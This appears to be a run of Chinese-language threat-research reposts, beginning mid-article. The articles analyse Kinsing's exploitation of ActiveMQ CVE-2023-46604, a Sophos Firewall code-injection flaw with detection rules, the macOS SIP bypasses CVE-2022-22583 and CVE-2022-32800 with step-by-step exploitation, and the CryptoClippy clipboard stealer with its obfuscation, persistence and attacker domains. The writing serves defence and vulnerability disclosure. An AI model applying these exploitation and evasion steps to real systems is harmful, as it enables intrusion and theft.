XML文件的路徑在啟動MSBuild時作為參數傳遞。運行MSBuild的命令位於註冊表項(HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell)中，該註冊表項是在DLL文件執行期間創建的。完成此步驟後，每當用戶登錄到系統時，MSBuild將運行。此外，DLL創建一個可重複的任務，將受害者從系統中註銷。

HireHackking

我們發現利用Apache ActiveMQ漏洞CVE-2023-46604下載並攻擊Linux系統的Kinsing惡意軟件(也稱為h2miner)和加密貨幣礦工被利用時，此漏洞會導致遠程代碼執行(RCE)， Kinsing使用它來下載和安裝惡意軟件。

該漏洞本身是由於OpenWire命令未能驗證未經檢測類類型而導致RCE。

ActiveMQ(用Java編寫)是一個由Apache開發的開源協議，它實現了面向消息的中間件(MOM)。它的主要功能是在不同的應用程序之間發送消息，還包括STOMP、Jakarta Messaging (JMS)和OpenWire等附加特性。

Kinsing惡意軟件是一種主要針對基於linux的系統的嚴重威脅，可以滲透服務器並在網絡中迅速傳播。它通過利用web應用程序或配置錯誤的容器環境中的漏洞進入。

最近，Kinsing背後的攻擊組織一直在利用CVE-2023-4911 (Looney Tunables)漏洞。一旦Kinsing攻擊了一個系統，它就會部署一個加密貨幣挖掘腳本，利用主機的資源來挖掘比特幣等加密貨幣，從而對基礎設施造成嚴重破壞，並對系統性能產生負面影響。

受影響的ActiveMQ版本以下是受CVE-2023-46604漏洞影響的Apache ActiveMQ版本：

Apache ActiveMQ 5.18.0 5.18.3之前的版本；

Apache ActiveMQ 5.17.0 5.17.6之前的版本；

Apache ActiveMQ 5.16.0 5.16.7之前的版本；

5.15.16之前的Apache ActiveMQ；

Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3；

Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6；

Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7；

Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16；

建議用戶將Java OpenWire代理和客戶機升級到版本5.15.16、5.16.7、5.17.6或5.18.3，因為其中任何一個版本都可以修復此漏洞。

CVE-2023-46604補丁差異基於AMQ-9370，我們能夠檢查漏洞出現的根本原因，與OpenWire命令解組時可拋出類類型驗證有關的問題。

OpenWire是一種二進制協議，專門設計用於處理面向消息的中間件。它充當ActiveMQ的本機連接格式，ActiveMQ是一個廣泛使用的開源消息傳遞和集成平台，與其他格式相比，OpenWire的二進制格式提供了幾個優勢，比如它對帶寬的有效利用以及支持多種消息類型的能力。這些特性使其成為需要可靠和高性能消息傳遞系統的企業和組織的理想選擇。

基於補丁差異，我們可以看到validateIsThrowable方法已經包含在BaseDataStreamMarshall類中。

1.png

validateIsThrowable方法包含在BaseDataStreamMarshall類中

2.png

無法驗證Throwable類的類類型

當編組器無法驗證Throwable (Java中表示異常和錯誤的對象)的類類型時，它可能會意外地創建並執行任何類的實例。這將導致RCE漏洞允許攻擊者在服務器或應用程序上執行任意代碼。因此，必須確保始終驗證Throwable的類類型，以防止潛在的安全風險。

檢測自11月初以來，已經出現了幾起活躍樣本。這些報告是關於積極利用CVE-2023-46604的攻擊者(例如HelloKitty勒索軟件家族背後的攻擊者)，以及Metasploit和nucleus等概念驗證漏洞。考慮到CVE-2023-46604的CVSS評分為9.8，總體檢測率仍然很低。

基於Kinsing使用的漏洞，我們提供了一個可用於掃描的YARA規則：

3.png

惡意利用CVE-2023-46604漏洞目前，存在利用ProcessBuilder方法在受影響的系統上執行命令的公開漏洞。在Kinsing的背景下，CVE-2023-46604被用來在易受攻擊的系統上下載和執行Kinsing加密貨幣礦工和惡意軟件。

4.png

使用ProcessBuilder方法進行開發

一旦成功利用，加密貨幣礦工和惡意軟件將下載惡意安裝程序，然後使用bash執行惡意腳本。

5.png

通過bash執行惡意腳本

一旦bash腳本被執行，Kinsing惡意軟件就會從命令與控制(CC)服務器為各種體系結構下載額外的二進製文件和有效負載。

6.png

從CC服務器下載額外的二進製文件和有效負載

Kinsing惡意軟件的一個有趣特徵是，它在進程、crontab和活動網絡連接中積極尋找正在活動的加密貨幣礦工，例如與Monero綁定的礦工或利用Log4Shell和WebLogic漏洞的礦工，然後繼續阻止它們的進程和網絡連接。此外，Kinsing從受攻擊主機的crontab中刪除有競爭關係的惡意軟件和礦工。

7.png

為Kinsing二進製文件分配一個Linux環境變量，然後執行它。

8.png

最後，Kinsing每分鐘添加一個cronjob來下載並執行它的惡意引導腳本。

9.png

每分鐘負責下載和執行Kinsing的惡意引導腳本的cronjob

這確保了受影響主機上的持久性，並確保最新的惡意Kinsing二進製文件在受影響主機上可用。

Kinsing通過在/etc/ld.so中加載它的rootkit來加倍地使用它的持久性和攻擊性預加載，完成一個完整的系統攻擊。

10.png

加載Kinsing rootkit“/etc/ld.so.preload”

總結CVE-2023-46604漏洞仍然在被各種攻擊者利用，例如Kinsing惡意軟件利用背後的組織，濫用此漏洞執行惡意活動。

使用有Apache ActiveMQ時必須立即採取行動，盡快修補CVE-2023-46604漏洞，並降低與Kinsing相關的風險。鑑於惡意軟件跨網絡傳播和善於利用其他漏洞的特點，當務之急要維護最新的安全補丁，定期審計配置，並監控網絡流量異常活動，這些都是綜合網絡安全戰略的關鍵組成部分。

HireHackking

在趨勢科技最近發布的漏洞報告中，研究團隊的Guy Lederfein和Dusan Stevanovic詳細介紹了Sophos防火牆最近打過補丁的代碼注入漏洞。該漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。成功利用此漏洞可能導致以根用戶的權限執行遠程代碼。以下是關於CVE-2022-3236的介紹。

Sophos最近修復了Sophos Firewall v19.0 MR1（19.0.1）及以前版本中的代碼注入漏洞。此漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。未經身份驗證的遠程攻擊者可以通過向受影響的服務器發送精心編寫的請求來利用此漏洞。成功利用此漏洞可能導致使用根用戶的權限進行遠程代碼執行。

漏洞利用Sophos Firewall是一種網絡安全解決方案，它可以部署在專門構建的設備、云網絡(AWS/Azure)、虛擬設備或x86 Intel硬件上的軟件設備上。防火牆應用支持多種網絡安全特性，包括應用感知路由、TLS檢測、深層包檢測、遠程接入VPN、日誌、報表等。 Sophos Firewall公開了一個web管理控制台，用於通過TCP端口4444上的HTTPS管理設備的配置。此外，Sophos Firewall公開了一個用戶門戶，用於更新用戶的詳細信息或通過TCP端口443上的HTTPS下載身份驗證客戶端。

HTTP是RFC 7230-7237和其他RFC中描述的請求/響應協議。客戶端向服務器發送請求，服務器又將響應發送回客戶端。 HTTP請求由請求行、各種標題、空行和可選消息正文組成：

其中CRLF表示新行序列回車（CR），後跟換行（LF）。根據使用的方法和Content-Type標頭，參數可以在RequestURI或消息正文中作為名稱-值對從客戶端傳遞到服務器。例如，使用GET方法傳遞一個名為“param”、值為“1”的參數的簡單HTTP請求可能如下所示：

使用POST方法的相應HTTP請求可能如下所示：

JavaScript對象表示法(JSON)是一種數據交換格式，用於創建設備可解析、人類可讀的輸出。 JSON對象具有以下語法：

1.對像用花括號{}括起來。

2.對象由逗號（“，”）字符分隔的零個或多個項目組成。

3.項目由秘鑰和值組成。秘鑰的值由冒號（“：”）字符分隔。

4.秘鑰必須是用引號括起來的字符串。

5.值必須是有效的類型。 JSON定義了7種值類型：字符串、數字、對象、數組、true、false和null。

6.數組是用方括號[]括起來的對象。

7.數組由零個或多個字符串、數字、JSON對象、數組、布爾值或由逗號（“，”）字符分隔的空類型對象組成。

JSON對象示例如下： {“name”:”bob”, “age”:30}。

由Sophos Firewall公開的web管理和用戶門戶web界面都運行在Apache httpd服務器後面的Jetty服務器上。通過這些接口發出的配置和診斷請求通過請求提交給Controller servlet。這個servlet基於模式HTTP請求參數檢索適當的EventBean對象。例如，如果模式HTTP請求參數設置為151或451，則分別調用WebAdminAuth或UserPortalAuth類來處理請求。在每個類中，都會調用CSCClient類的generateAndSendAjaxEvent()方法。

該方法解析json HTTP請求參數，並修改解析對像中的特定字段。然後調用send()方法，該方法反過來調用_send()，後者根據相關EventBean對象的模式添加模式JSON參數。然後，它將創建的JSON對像作為字符串(包括適當的標頭)通過TCP或UDP端口299發送到本地CSC服務器。

當CSC服務器接收到Jetty服務器提交的JSON對象時，它會驗證通過Perl腳本CyberAPIArch.pm中的validateJSON()方法提交的JSON對象。如果JSON對象包含一個名為_discriminator的項，則調用getValidationHash()方法。該方法遍歷_discriminator Perl哈希的每個秘鑰，表示字段名。每個字段名都與一個描述字段值和對象名之間映射的JSON對象相關聯。解析收到的JSON對象時解析的一些Perl對象（natrule、securitypolicy、hotspot等）包含一個帶有_discriminator項的模板，其中包含字段值及其關聯對象之間特定字段名的映射。該方法遍歷字段值，以檢查提交的JSON對像是否包含具有引用名稱和值的字段。如果是，它將檢索關聯的對象名，並嘗試使用eval函數將其解析為一個對象。

Sophos防火牆存在代碼注入漏洞，此漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。可以在HTTP請求中設置_discriminator項，經過一些修改後，這個JSON對像被發送到CSC服務器。但是，_discriminator項目集是未經修改發送的。一旦使用Perl腳本CyberAPIArch.pm的validateJSON() 方法被調用時，它將檢測這個項並調用getValidationHash()。 Perl方法遍歷$hashObj哈希對象，該對象包含一個名為_discriminator的項，其值是一個嵌套的哈希，其中的值項設置為發送的原始請求中的_discriminator項的值。

此值項被視為包含映射到對象名稱的字段值的嵌套哈希。因此，如果最初提交的JSON對象包含一個名為value的項，其值設置為這個嵌套哈希中的一個值，則將使用eval函數解析關聯的對象名稱。由於原始請求中的_discriminator項可以設置為帶有值和對象名稱之間的任意映射的JSON對象，因此可以提交惡意對象並將其連接到eval函數中，從而導致代碼注入。

Sophos嘗試使用RequestCheckFilter Java對像對請求參數(包括JSON對象)執行輸入驗證。該過濾器檢測帶有非ASCII可打印字符的請求參數和JSON key。但是，仍然可以提交包含ASCII可打印字符的任意請求參數和JSON key，包括_discriminator項。

未經身份驗證的遠程攻擊者可以通過向目標服務器發送精心編寫的請求來利用此漏洞。成功利用此漏洞可能導致在服務器上運行任意Perl命令，從而導致以root用戶的權限執行遠程代碼。

源代碼下面的代碼片段摘自Sophos Firewall 19.0.1版本，並由趨勢科技添加了額外的註釋。

來自反編譯的Java類cyberoam.sessionmanagement.RequestCheckFilter:

來自Perl腳本CyberAPIArch.pm:

檢測攻擊為了檢測試圖利用該漏洞的攻擊，檢測設備必須監視並解析端口443/TCP和4444/TCP上的流量。請注意，流量是用SSL/TLS加密的。在繼續進行下一步驟之前，檢測設備必須對流量進行解密。

基於被監視的TCP端口，檢測設備必須對包含以下字符串的Request- URI的HTTP GET和POST請求進行檢測：

對Webadmin Controller終端(TCP端口4444)的請求可以使用多部分/表單數據編碼。

Multipart/form-data 由多個部分組成，每個部分都包含一個Content Disposition標頭。每個部分由一串字符分隔。分隔部分的字符串由Content-Type標題行上的boundary關鍵字定義，它被設置為' multipart/form-data '。 Content-Disposition標頭包含一個名稱參數，描述要返回的表單元素。每個部分中可能會出現額外的標題行。每一行由一個新的行序列分隔。標頭文件以兩個連續的新行結束。下面是表單元素的數據，如果對像被分離並存儲在一個單獨的文件中，則filename參數提供要使用的建議文件名。下面是一個文件項的Content-Disposition標頭示例，其中boundary關鍵字是' TMSR '：

如果發現對上述終端的請求，檢測設備必鬚根據Content-Type標頭中描述的編碼解析其參數，並蒐索json參數。如果發現，檢測設備必須使用以下任何合適的方法檢查json參數值。

方法1：如果檢測設備能夠解析JSON，它必須將JSON參數解析為JSON對象。檢測設備必須解析密鑰為字符串“_discriminator”的任何項（可能嵌套）。如果被發現，應該認為該流量是惡意的，因為利用該漏洞的攻擊很可能正在進行中。

方法2：如果檢測設備不具備解析JSON的能力，則必須將JSON參數作為字符串進行檢查，並檢查其是否包含字符串“_discriminator”。如果被發現，應該認為該流量是惡意的，因為利用該漏洞的攻擊很可能正在進行中。

需要注意的其他事項：

1.參數名稱和值可能是URL編碼的，必須在應用上述檢測之前進行解碼；

2.URI和參數名稱（“json”）和值（“_discriminator”）的字符串匹配必須以區分大小寫的方式執行；

3.HTTP標頭名稱（即“Content-Type”）和值（即“multipart/form data”）的字符串匹配必須以不區分大小寫的方式執行。

HireHackking

我們會在本文詳細介紹如何使用不同的方法利用CVE-2022-22583的技術細節。我們還在本報告中討論了CVE-2022-32800的技術細節。

2022年1月26日，蘋果公司修復了PackageKit框架中的系統完整性保護(SIP)繞過漏洞，該漏洞被識別為CVE-2022-22583。

Perception Point發布了一篇關於該漏洞及其利用細節的文章後，我們確定我們利用該漏洞的方法與他們的不同。在深入挖掘CVE-2022-22583之後，我們還發現了一個新的漏洞CVE-2022-32800。

這篇文章討論了我們如何使用不同的方法利用CVE-2022-22583的技術細節。關於SIP和特殊守護進程服務的權利的更多詳細信息可以在我們上個月的文章中找到。我們還會討論在2022年社區力量安全會議（POC2022）期間向蘋果披露的15個以上關鍵SIP繞過漏洞中的幾個。

CVE-2022-22583CVE-2022-22583的安全漏洞我們通過進程監控發現了這個漏洞。當我們將apple簽名的軟件安裝包(PKG)文件安裝到root volume時，我們注意到以下腳本是由特權“system_install”服務生成的：

1.png

因為“system_installd”服務具有特殊的“com.apple.rootless.install.heritable”權限，所以這兩個腳本將在SIP繞過上下文中執行。

在看到這兩個腳本位於“/tmp/PKInstallSandbox.l57ygT”目錄後，我想到了以下問題：

我們可以修改臨時位置內的腳本嗎？

誰創建了帶有隨機後綴的臨時文件夾“PKInstallSandbox”？

新創建的文件夾是否受SIP保護？

在這些問題的啟發下，我們開始了調查。

通過反轉和調試，我們發現臨時文件夾是由' -[PKInstallSandbox prepareForCommitReturningError:] '函數創建的：

2.png

“prepareForCommitXXX”函數的實現

在第16行，它調用另一個函數“-[PKInstallSandbox _createDirectory:uniquifying:error:]”，該函數在內部調用API“mkdtemp”來不受任何限制地創建文件夾。

3.png

“_createDirectory:uniquifying:”函數的實現

在看到“PKInstallSandbox.XXXXXXX”文件夾未受保護後，我們最初認為它可以被利用和操縱。然而，我們未能直接修改文件夾中的腳本。這是因為子文件夾“Scripts”受到限制，它從受限制的沙盒路徑中移動，如上第25行所示。

至少有兩種不同的方法來克服這個特殊的挑戰並利用這個安全漏洞。

漏洞1：使用掛載技巧第一個漏洞使用掛載技巧。 Perception Point在其文章中對此進行了詳細討論。根據調查，掛載技巧可以通過以下步驟完成：

創建虛擬映像文件並將其裝載到“/private/tmp”上；

使用安裝後腳本安裝Apple簽名的軟件包；

等待安裝程序完成腳本目錄的提取，並收集提取路徑的隨機部分；

卸載映像文件，這將恢復到提取前的“/private/tmp”內容；

創建腳本目錄（使用我們之前獲得的隨機路徑），並將我們想要的任何腳本放入其中。

Perception Point的文章還指出，這裡討論的漏洞取決於時間，可能不會一直成功。

漏洞2：使用符號鏈接我們的漏洞使用了另一種方法：符號鏈接。此漏洞可通過以下步驟實現：

監視“/tmp/PKInstallSandbox.XXXXXXX”目錄的創建，並將其替換為指向另一個“/tmp/fakebox”位置的符號鏈接，以將受限制的腳本重定向到那裡；

一旦腳本位於“/tmp/fakebox”中，請刪除符號鏈接並重新創建相同的“/tmp/PKInstallSandbox.XXXXXXX”目錄，然後將有效負載腳本放在“/tmp/pKInstallSandox.XXXXXXX/scripts/pkgid.XXXXXX/”目錄中；

等待有效負載腳本執行；

此漏洞的完整概念證明已上傳到了GitHub上。我們的概念驗證演示也可以在下圖中看到。

4.png

使用symlink的漏洞演示

即使我們是root用戶，也無法在受限目錄“/Library/Apple”中創建文件，因為SIP狀態已啟用。但是在利用程序的幫助下，我們可以在SIP繞過上下文中執行任意命令，並在受限目錄中成功創建文件。

蘋果CVE-2022-22583的補丁“installd”服務和“system_installd”服務的操作方式有點混亂。在下圖中，我們可以看到第17行和第18行的補丁代碼區分了這兩種服務：

5.png

CVE-2022-22583的補丁

對於蘋果簽署的軟件包，該補丁使用“OpenPath”及其自己的受限沙盒路徑。對於其他包，它仍然使用“/tmp”目錄中的隨機路徑。

安裝沙盒在介紹CVE-2022-32800之前，我們需要了解一些與“安裝沙盒”相關的概念。

Sandbox Repository首先，讓我們看一下“Sandbox Repository”，這是一個由“-[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]”函數返回和創建的目錄。

6.png

“_sandboxRepositoryForDestination:XXX”函數的實現

總之，有四種Sandbox Repository：

安裝目標為root volume“/”:

a.對於Apple簽名的pkg: /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware；

b.其他pkg: /Library/InstallerSandboxes/.PKInstallSandboxManager；

安裝目標不是root volume:

a.對於apple簽名的pkg: $targetVolume/.PKInstallSandboxManager-SystemSoftware；

b.其他pkg: $targetVolume/.PKInstallSandboxManager；

需要注意的是，只有當apple簽名包安裝到root volume時，Sandbox Repository才會受到限制。

沙盒路徑“沙盒路徑”用於在安裝期間存儲腳本和有效載荷等文件。

它是“Sandbox Repository”中的一個目錄，由“[PKInstallSandboxManager addSandboxPathForDestination:forSystemSoftware:]_block_invoke”方法創建：

7.png

實現“addSandboxPathForDestination:XXX”函數

沙盒路徑有四種，每種路徑都有一個通用唯一標識符(UUID)名稱，表示它們特定的沙盒狀態：

UUID.sandbox：創建的第一個狀態；

UUID.activeSandbox：激活狀態，正在使用中；

UUID.trashedSandbox：停用狀態，被丟棄；

UUID.orphanedSandbox：孤立狀態，如果磁盤空間不足，將進行清理；

PKInstallSandbox' PKInstallSandbox '是一個用於抽象和封裝的Objective-C類名：

8.png

通過“-[PKInstallSandbox initWithSandboxPath:installRequest:error:]”方法初始化“PKInstallSandbox”的新實例，這取決於沙盒路徑和安裝請求。

請注意，該實例是可序列化的，並且該類實現了“NSSecureCoding”協議。 “system_installd”服務可以通過“-[PKInstallSandboxManager saveSandboxAsStaged:]”方法將實例保存或序列化到沙盒路徑中名為“SandboxState”的文件中：

9.png

“saveSandboxAsStaged”函數的實現

“PKInstallSandbox”實例也可以稍後通過“-[PKInstallSandboxManager_sandboxAtPath:matchingRequest:forUse:]”方法從“SandboxState”文件還原或反序列化：

10.png

“sandboxAtPath:matchingRequest:XXX”函數的實現

注意，在第57行有一個檢查，它要求恢復的安裝請求與從安裝客戶端傳遞的安裝請求深度相等。這項檢查給我們的開發程序帶來了一個小小的挑戰。

在安裝之前，“system_installd”服務需要根據“-[PKInstallSandboxManagersandboxForRequest:created:error:]”函數中的安裝請求獲取“PKInstallSandbox”的實例。

該函數的核心邏輯如下：

首先，它將從“sandbox Repository”中枚舉所有帶有“.ssandbox”後綴的文件夾，然後從內部的“SandboxState”文件中恢復“PKInstallSandbox”實例。

11.png

枚舉帶有“.ssandbox”後綴的所有文件夾

接下來，如果它找不到與安裝請求匹配的“PKInstallSandbox”實例，那麼它將枚舉帶有“.activeSandbox”後綴的所有文件夾，並嘗試從這些位置還原它們。

12.png

枚舉帶有“.activeSandbox”後綴的所有文件夾

最後，如果它仍然不能匹配這樣的沙盒，它將創建一個新的“沙盒路徑”，並構造一個新的“PKInstallSandbox”實例。

13.png

創建一個新的“沙盒路徑”和實例

CVE-2022-32800漏洞詳細信息CVE-2022-32800漏洞允許攻擊者劫持“SandboxState”文件以獲取SIP繞過原語。

“SandboxState”文件存儲在“Sandbox路徑”中，該路徑位於“Sandbox Repository”中。在正常情況下，“Sandbox存儲庫”僅限於Apple簽名的軟件包。

但是，如果安裝目標是DMG（磁盤映像）卷，則根本不限制“Sandbox Repository”。 “SandboxState”文件也是如此。因此，我們可以製作一個特製的“SandboxState”文件，在反序列化過程中劫持新的“PKInstallSandbox”實例。然後可以控制“PKInstallSandbox”實例的所有成員變量。

漏洞利用有不同的方法可以利用這個漏洞。例如，在下圖中，我們劫持了成員“_cleanupPaths”，以獲取一個原語來刪除任意的SIP保護路徑。

安裝完成後，無論是否成功，它都將調用“-[PKInstallSandboxManager_removeSandbox:]”函數刪除沙盒，並刪除“_cleanupPaths”成員指定的所有文件和文件夾。

14.png

“_removeSandbox”函數的實現

該漏洞的完整概念證明可以在GitHub找到，演示視頻可以在此查看。

蘋果CVE-2022-32800的補丁

蘋果在macOS 12.5中修復了這一安全漏洞。

補丁位於“-[PKInstallSandboxManager _sandboxAtPath:matchingRequest:forUse:]”函數中:

15.png

CVE-2022-32800補丁

正如我們在第38行檢查中看到的，它在內部調用“PKSIPFullyProtectedPath”函數:

16.png

“PKSIPFullyProtectedPath”函數的實現

對於Apple簽名的軟件包，“SandboxState”文件需要受信任或限制。

安全建議為了成功地保護系統免受漏洞攻擊，用戶必須定期更新其操作系統。定期應用安全補丁將阻止攻擊者利用漏洞提升權限並發起惡意攻擊。關於此處討論的漏洞，CVE-2022-22583於2022年1月修補，CVE-2022 2-32800於2022年7月修補。

最終用戶可以受益於安全解決方案，如趨勢科技Mac版防病毒軟件和趨勢科技防護套件，它們有助於檢測和阻止利用此類漏洞的攻擊。

HireHackking

Cryptojacking-r3d3.png

Unit 42最近發現了一個針對葡語用戶的惡意軟件活動，旨在將加密貨幣從合法用戶的錢包中轉移到由攻擊者控制的錢包中，該活動使用了一種被稱為CryptoClippy（加密貨幣剪輯器）的惡意軟件，它可以監控受害者的剪貼板，尋找加密貨幣錢包地址被複製的踪跡，以此來發起攻擊並竊取加密貨幣。

攻擊時，CryptoClippy會將實際錢包地址替換為攻擊者自己的地址。為了將惡意軟件植入到用戶的計算機，該活動中的攻擊者使用谷歌廣告和流量分發系統（TDS）將受害者重定向到假冒WhatsApp Web應用程序的惡意域名。他們藉此來確保受害者是真正的用戶，而且他們是葡語使用者。對於被發送到惡意域的用戶，攻擊者試圖誘騙他們下載惡意文件，包括.zip或.exe文件，從而獲得最終的有效負載。

什麼是加密貨幣剪輯器？ CryptoClippy旨在將加密貨幣資金從合法用戶的錢包轉移到由攻擊者控制的錢包。當計算機CryptoClippy時，惡意軟件會不斷檢查受害者的剪貼板，看看他們是否複製了加密貨幣錢包地址，其攻擊邏輯是，如果一個人將錢包地址複製到剪貼板，這表明他們可能正在將加密貨幣從一個錢包轉移到另一個錢包。

CryptoClippy使用正則表達式來識別地址屬於哪種類型的加密貨幣。然後，它將剪貼板條目替換為攻擊者的錢包地址。由於錢包地址通常很長，有時超過40個字符，粗心的用戶是不會注意到地址的變化。

CryptoClippy利用的是SEO攻擊，因此當一個人搜索“WhatsApp Web”時，搜索結果的前幾天就會顯示一個虛假結果。一旦進入該網頁，受害者就會被提示下載一個.zip文件，該文件包含一個由惡意腳本組成的.lnk文件。這些腳本引發了一系列安裝CryptoClippy的事件。各種CryptoClippy變體具有多種額外功能，可以幫助攻擊者完成他們的加密竊取活動。這包括能夠通過執行RC4加密的PowerShell腳本來建立遠程桌面協議（RDP）後門。

此腳本包含Windows Management Instrumentation（WMI）、終端服務註冊表操作、icacls、net命令和日誌清除的元素。這些漏洞使攻擊者能夠在內存有效負載之外進行訪問。

此外，該變體還具有針對以太坊和比特幣加密貨幣錢包的功能。鑑於數字貨幣在拉丁美洲越來越受歡迎，這並不奇怪。

撰寫本文時，攻擊者控制的比特幣地址顯示收到0.039954比特幣，大致相當於982.83美元，以太坊（ETH）地址也顯示了收到資金，其中0.110915556631181819 ETH（約等於186.32美元）是從三個不同的ETH地址發送的。

此活動中的攻擊者採用了多階段的方法，試圖繞過基於簽名和啟發式的安全防護。這種方法包括使用模糊化的PowerShell腳本和編碼的有效負載來逃避檢測，目前似乎只有少數安全程序可以在VirusTotal中檢測到這種惡意軟件。

攻擊流程攻擊會從傳播一個.zip文件開始，該文件包含一個模糊化的PowerShell命令行腳本組成的.lnk文件。受害者雙擊.lnk文件後，就會執行PowerShell腳本，該腳本將下載第二階段和幾個模糊/加密的有效負載。當執行第二階段PowerShell腳本時，它會對CryptoClippy加載程序進行解混淆/解密並執行它。然後加載程序會將其竊取程序組件注入svchost.exe中。

CryptoClippy將在剪貼板API中設置基於用戶模式事件的掛鉤和回調函數，在將受害者的以太坊/比特幣加密錢包複製到剪貼板時，將其替換為攻擊者的加密錢包。它還包含與C2服務器通信的功能。

CryptoClippy攻擊流程如下所示：

1.png

通過LNK文件攻擊

受害者最初下載的.zip文件中的.lnk文件包含一個截取的命令，如下圖所示。雙擊該文件將執行一個模糊命令，該命令位於快捷方式的目標字段中，負責檢查攻擊者控制的域。

99.1.png

LNK文件的目標字段包含要運行的命令

.lnk文件使用了幾種不同的字符填充方法進行混淆，其中包括以下字符集：

^

!

:~下圖顯示瞭如何在.lnk文件中使用這種方法。

99.2.png

LNK字符混淆

反混淆後，LNK得到以下PowerShell命令，該命令將通過HTTP協議將字符串uiPX上傳到攻擊者控制的域tunneldrive[.]com。

99.3.png

PowerShell命令將字符串上載到攻擊者域

需要注意的是，在目前觀察到的示例中，攻擊流程可以追溯到擴展名為.lnk的文件。這些文件通常包含在.zip中。然而在分析中，研究人員觀察到另一種變化，其中初始有效負載是一個.exe文件，該文件出自前面提到的域mydigitalreversion[.]com。

當WhatsApp Web的.exe文件一旦執行，它就會聯繫前面提到的tunneldrive[.]com域。然後，它將釋放並執行一個.bat文件來自我刪除。

這個.bat文件(如下圖所示)使用了一種模糊處理來構建其有效負載。

99.4.png

BAT文件在第一階段被釋放

第一階段第一個PowerShell腳本加載程序Ricoly.ps1由Ricoly.bat批處理文件啟動並執行。 Ricoly.ps1腳本的目的是解密同樣位於C:\Users\\AppData\Roaming\Ricoly中釋放的第二階段模糊/加密腳本ps。

Ricoly.ps1腳本使用的XOR密鑰大部分是靜態設置的硬編碼，而XOR密鑰的一部分是從計算機的處理器ID動態派生的。這將鎖定有效負載，如下圖所示。

99.5.png

第二階段研究人員使用以下CyberChef XOR秘鑰來解密第二階段的有效負載：

99.61.png

99.62.png

CyberChef用於解碼第二階段PowerShell腳本文件ps的內容

在第一階段下載時，會將名為sc的加密EXE文件寫入文件系統。這個EXE文件將成為第二階段ps腳本的目標。

第二階段PowerShell腳本ps的功能是充當反射PE加載程序。它使用.NET方法和D/invoke來處理.NET委託，以逃避檢測和動態解析。

ps腳本將確定操作系統是32位還是64位。它還將確定kernel32.dll作為反射加載程序所需的API功能，通過使用GetDelegateForFunctionPointer解析所需的API（如VirtualAlloc和CreateThread）來實現這一點。

然後，ps腳本將對有效負載進行XOR解密，並調用EXE文件sc。

99.7.png

使用D/invoke方法和XOR操作的第二階段PowerShell腳本

反射加載到內存中的EXE文件sc充當主加載程序，使用系統調用將代碼注入另一個新創建的進程。新創建的svchost.exe進程包含CryptoClippy。

文件夾名稱和互斥字符串生成器竊取程序的前幾個函數將首先映射出文件系統，以創建要使用的文件夾。這是通過使用API GetWindowsDirectoryA、GetVolumeInformationA和SHGetFolderPathA來實現的。

竊取程序包含一個函數，它將創建字母數字字符串。此字符串生成器用於主程序中的多個位置。它首先用於在AppData路徑下創建一個唯一的文件夾名稱。為此，使用一個常量值作為字符串生成器的參數。

在本示例中，常量是0x79FE6D，它將在字符串生成器函數中使用，並映射到格式字符串%08x-%08x。

99.8.png

常量引用和函數字母數字生成器的xref

字符串生成函數將使用提供給函數的常數值和從受害者係統查詢的捲序列號。它將創建以下字符串作為示例：079fe6d-de786dd1。

99.9.png

常量值和卷序列號連接成格式字符串

該算法將按每個字符拆分，以此來打亂字符串079fe6d-de786dd1。第一個操作將是由字符串的第一個字符執行的對FFFFFFFF值的異或。

然後，所得到的運算將被右移1，並被常數0x82F63B78異或。結果異或操作將遵循相同的操作集，在16個字符示例字符串079fe6d-de786dd1中，每個字符總共執行8次。

算法完成後，返回要添加到AppData目錄的文件夾名稱。本例中的文件夾名稱為55abf82d，完整路徑為C:\Users\xxx\AppData\Roaming\55abf82d。這將根據作為輸入提供的常量和卷序列號而變化，以創建唯一的字母加數字字符串。

99.10.png

使用的算法的結果，即要創建的文件夾名稱

互斥鎖攻擊者的互斥鎖的創建也使用字符串生成器函數，該函數作為參數提供了一個不同的常量值。在本例中，值為0x24F2D5。

99.11.png

用於創建帶有捲序列號的互斥鎖的常量值

用戶模式事件掛鉤設置為了便於竊取者剪切剪貼板的加密錢包地址，並將其替換為二進製文件中包含的硬編碼錢包，它將首先調用API SetWinEventHook來設置事件掛鉤，以便在觸發特定事件時調用負責與剪貼板數據交互的函數。

EVENT_OBJECT_FOCUS

EVENT_OBJECT_VALUECHANGE

EVENT_SYSTEM_FOREGROUND

事件掛鉤設置將具有一個從所有進程以及所有現有線程接收事件的進程範圍，然後跳過連接負責創建掛鉤的所屬進程。在設置事件掛鉤之後，創建一個Windows事件對象。它通過調用用於同步的Windows API CreateEventA來實現這一點，當特定事件發生並完成時，它將向線程發出信號。

99.12.png

windows事件鉤子和註冊類的反編譯視圖

創建Windows對象事件之後，竊取程序將使用API RegisterClassExA。此API提供了一個指向WNDCLASSEX結構的指針，該結構包含wcbClass和各種結構字段。

在此之後，調用CreateWindowExA，它將創建一個具有前面API所指向的結構的窗口。在這個結構中，我們分析的重要字段是lpfnWndProc字段，它指向惡意軟件開發者的剪貼板函數。

後門在CryptoClippy執行期間，此威脅將解密並寫入文件Tozzia.bat和Tozzia.ps1到文件系統，這些文件系統嵌入到文件系統中。執行批處理文件Tozzia.bat，然後執行Tozzia.ps1。

99.13.png

Tozzia.bat文件內容

下圖顯示了Tozzia.ps1被寫入文件系統並執行，從而進行持久性攻擊。

99.14.png

Tozzia.ps1內容

下圖顯示了Tozzia.ps1通過創建計劃任務來獲得持久性。

99.15.png

執行Tozzia.bat的計劃任務

在Tozzia腳本解密後，另外兩個腳本Giddia和Knowledgeprojects也被解密，但沒有被執行或寫入文件系統。從內存中提取Giddia和Knowledgeprojects這兩個腳本，可以看到幾百行額外的腳本代碼。

Giddia腳本包含執行與終端服務相關的註冊表屬性值的功能，目的是削弱它們。它還包含網絡命令和本地帳戶相關操作的功能。

99.16.png

PowerShell腳本名Giddia

99.17.png

Giddia功能

99.18.png

名為Knowledgeprojects的PowerShell腳本

